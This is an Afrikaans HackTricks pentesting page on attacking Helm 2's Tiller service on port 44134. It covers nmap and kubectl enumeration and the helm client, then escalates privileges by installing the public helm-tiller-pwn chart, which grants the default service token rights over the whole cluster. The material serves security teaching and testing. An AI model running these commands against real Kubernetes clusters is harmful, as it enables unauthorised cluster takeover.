mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
83 lines
5.3 KiB
Markdown
83 lines
5.3 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
|
|
|
</details>
|
|
|
|
|
|
# Basiese Inligting
|
|
|
|
Helm is die **pakketbestuurder** vir Kubernetes. Dit maak dit moontlik om YAML-lêers te verpak en hulle in openbare en private repositoriums te versprei. Hierdie pakkette word **Helm Charts** genoem. **Tiller** is die **diens** wat standaard op die poort 44134 loop en die diens aanbied.
|
|
|
|
**Standaardpoort:** 44134
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
44134/tcp open unknown
|
|
```
|
|
# Enumerasie
|
|
|
|
As jy pods en/of dienste van verskillende namespaces kan **enumereer**, enumereer hulle en soek na diegene met **"tiller" in hul naam**:
|
|
```bash
|
|
kubectl get pods | grep -i "tiller"
|
|
kubectl get services | grep -i "tiller"
|
|
kubectl get pods -n kube-system | grep -i "tiller"
|
|
kubectl get services -n kube-system | grep -i "tiller"
|
|
kubectl get pods -n <namespace> | grep -i "tiller"
|
|
kubectl get services -n <namespace> | grep -i "tiller"
|
|
```
|
|
Voorbeelde:
|
|
```bash
|
|
kubectl get pods -n kube-system
|
|
NAME READY STATUS RESTARTS AGE
|
|
kube-scheduler-controlplane 1/1 Running 0 35m
|
|
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
|
|
|
|
kubectl get services -n kube-system
|
|
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
|
|
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
|
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
|
```
|
|
Jy kan ook probeer om hierdie diens te vind deur die poort 44134 te kontroleer:
|
|
```bash
|
|
sudo nmap -sS -p 44134 <IP>
|
|
```
|
|
Sodra jy dit ontdek het, kan jy daarmee kommunikeer deur die klient helm-toepassing af te laai. Jy kan gereedskap soos `homebrew` gebruik, of kyk na [**die amptelike vrystellingsbladsy**](https://github.com/helm/helm/releases)**.** Vir meer besonderhede, of vir ander opsies, sien [die installasiegids](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
|
|
|
Dan kan jy **die diens opnoem**:
|
|
```
|
|
helm --host tiller-deploy.kube-system:44134 version
|
|
```
|
|
## Voorregverhoging
|
|
|
|
Standaard is **Helm2** geïnstalleer in die **namespace kube-system** met **hoë voorregte**, so as jy die diens vind en toegang daartoe het, kan dit jou in staat stel om **voorregte te verhoog**.
|
|
|
|
Al wat jy hoef te doen is om 'n pakkie soos hierdie een te installeer: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) wat die **standaard diens-token toegang gee tot alles in die hele groep.**
|
|
```
|
|
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
|
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
|
/pwnchart
|
|
```
|
|
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) het jy die **verduideliking van die aanval**, maar basies, as jy die lêers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) en [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) binne _helm-tiller-pwn/pwnchart/templates/_ lees, kan jy sien hoe **alle voorregte aan die verstek-token gegee word**.
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
|
|
|
</details>
|